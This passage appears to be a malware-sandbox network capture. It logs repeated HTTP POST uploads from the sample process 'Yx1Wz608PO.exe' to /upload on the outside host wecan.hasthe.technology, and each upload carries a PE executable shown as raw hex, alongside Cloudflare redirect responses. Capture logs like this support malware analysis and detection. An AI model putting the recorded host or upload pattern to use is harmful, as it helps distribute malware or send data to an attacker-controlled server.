Oct 10, 2024 21:02:32.659380913 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:32.659454107 CEST	4944	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:02:32.659503937 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:02:32.659529924 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:02:32.659559011 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:02:32.973143101 CEST	811	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:32 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:32 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OLX7pWGBgMEpLQWB187RxPTD3PAYRLrz7tlIGwusvxVyRzxf%2F7IkfhFGfkQI%2FKYw0r5Vesqad3n1IxCFxorNnU9bkBHUXdxgPKOugSXdba94Pmme1DLynQhO9ZdATXg5XHBP8Rw92e11DA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dd84dcf87cfc-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	50482	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:33.190597057 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------2e12553f599da4b1
Oct 10, 2024 21:02:33.626709938 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:33.628025055 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 32 65 31 32 35 35 33 66 35 39 39 64 61 34 62 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------2e12553f599da4b1Content-Disposition: form-data; name="file[]"; filename="rifaien2-zmf4GTpATeIJdXHM.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:33.628432989 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:33.633563995 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:33.633718014 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:02:33.633747101 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:33.633795023 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:02:33.633821964 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:33.633848906 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:02:33.633879900 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:02:33.633922100 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:02:33.933269978 CEST	813	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:33 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:33 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tu7UCrniPvTjveerhX6BjvTsrNM28Io3H%2Fj%2FhViGXk27frLDTVlQURBaGvm2MAawNoNJ6lWKEQFWj9YwwZsXw6BQa3fXIRzAuueG%2FwdXCjWGtkOjccUybdiy7fMik9XwMY8Uv5HMWTDpsQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dd8bfbac7292-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	50487	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:34.588000059 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------cfe097e049e3bfdc
Oct 10, 2024 21:02:35.030790091 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:35.031414986 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 63 66 65 30 39 37 65 30 34 39 65 33 62 66 64 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------cfe097e049e3bfdcContent-Disposition: form-data; name="file[]"; filename="rifaien2-O1lC3PbxC9VoVOC0.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:35.031609058 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:35.036701918 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:35.036767960 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:02:35.036808014 CEST	4944	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:35.036890030 CEST	4944	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:35.036921024 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:02:35.036948919 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:02:35.036973953 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:02:35.037003994 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:02:35.336004972 CEST	813	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:02:35 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:02:35 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3Q5BEMTYwL2laOh5kEIuCf3VnWVxnd5JZUV8qrKNxG85dAim5xNmhRjkx2QEWog4tpCigklaY2vIH2YVd4Z37lmdpzYg%2FxkTqCUSJ5z%2BJhQuQ2gJ2tTVG7Vbvbom%2BQbPdGruXUKawl6aiQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dd94cc7c1770-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	50495	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:02:35.469337940 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------195ea7def299d14e
Oct 10, 2024 21:02:35.941982031 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:02:35.943777084 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 31 39 35 65 61 37 64 65 66 32 39 39 64 31 34 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------195ea7def299d14eContent-Disposition: form-data; name="file[]"; filename="rifaien2-xqnIfi8BvwfeKF7n.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:02:35.944109917 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:02:35.949177980 CEST	4944	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:02:35.949275017 CEST	4944	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:02:35.949302912 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:02:35.949342012 CEST	4944	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:02:35.949395895 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:02:35.949423075 CEST	2472	OUT	Data Raw: 3f 75 2c 66 ee 47 62 c2 01 50 7e ba af 20 47 89 c6 51 7e a8 e9 fd 85 f6 74 0d 80 bd 1e 01 79 da ff 06 75 d2 ab 06 08 a3 68 d6 08 c1 5d 27 63 7b 85 c0 8a 0f 84 07 bb 8a c3 de 30 66 bf 07 00 37 85 80 83 ff bf 89 df f4 07 0f 85 ed 71 8b 75 0c 8a 56 Data Ascii: ?u,fGbP~ GQ~tyuh]'c{0f7quV~tlGGupo0DO5P?^{UnC?WWqsR3S&,=F+w;uJ;\|!$nxuS*aAr<?1s@5{}{1-3#pY`
Oct 10, 2024 21:02:35.949459076 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:02:35.954305887 CEST	2472	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
